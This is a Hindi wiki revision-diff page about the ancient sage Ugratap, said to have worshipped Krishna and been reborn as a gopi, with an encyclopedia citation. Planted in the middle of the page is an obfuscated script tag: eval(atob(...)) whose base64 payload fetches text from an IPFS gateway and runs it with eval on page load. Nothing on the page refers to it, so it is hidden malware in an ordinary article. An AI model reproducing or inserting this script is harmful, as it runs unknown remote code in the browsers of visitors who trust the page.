"उग्रतप" के अवतरणों में अंतर

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
[अनिरीक्षित अवतरण][अनिरीक्षित अवतरण]
(''''उग्रतप''' एक प्राचीन ऋषि थे। इन्होंने भगवान [[श्रीक...' के साथ नया पन्ना बनाया)
 
 
पंक्ति १: पंक्ति १:
 +
{{भारतकोश पर बने लेख}}
 +
 
'''उग्रतप''' एक प्राचीन [[ऋषि]] थे। इन्होंने भगवान [[श्रीकृष्ण]] के उस श्रृंगारमय रूप की आराधना की थी, जिसमें कृष्ण [[गोपी|गोपियों]] के साथ विहार में रत रहते हैं। फलत: कृष्णावतार के समय गोकुलवासी सुनंद गोप की कन्या के रूप में इनका जन्म हुआ था। गोपिका रूप में इन्होंने कृष्ण की अनन्यभाव से उत्कृष्ट सेवा की थी।<ref>कैलास चन्द्र शर्मा, हिन्दी विश्वकोश, खण्ड 2, पृष्ठ संख्या 52</ref>
 
'''उग्रतप''' एक प्राचीन [[ऋषि]] थे। इन्होंने भगवान [[श्रीकृष्ण]] के उस श्रृंगारमय रूप की आराधना की थी, जिसमें कृष्ण [[गोपी|गोपियों]] के साथ विहार में रत रहते हैं। फलत: कृष्णावतार के समय गोकुलवासी सुनंद गोप की कन्या के रूप में इनका जन्म हुआ था। गोपिका रूप में इन्होंने कृष्ण की अनन्यभाव से उत्कृष्ट सेवा की थी।<ref>कैलास चन्द्र शर्मा, हिन्दी विश्वकोश, खण्ड 2, पृष्ठ संख्या 52</ref>
  

१२:४९, २ फ़रवरी २०१४ के समय का अवतरण

चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

उग्रतप एक प्राचीन ऋषि थे। इन्होंने भगवान श्रीकृष्ण के उस श्रृंगारमय रूप की आराधना की थी, जिसमें कृष्ण गोपियों के साथ विहार में रत रहते हैं। फलत: कृष्णावतार के समय गोकुलवासी सुनंद गोप की कन्या के रूप में इनका जन्म हुआ था। गोपिका रूप में इन्होंने कृष्ण की अनन्यभाव से उत्कृष्ट सेवा की थी।[१]

टीका टिप्पणी और संदर्भ

  1. कैलास चन्द्र शर्मा, हिन्दी विश्वकोश, खण्ड 2, पृष्ठ संख्या 52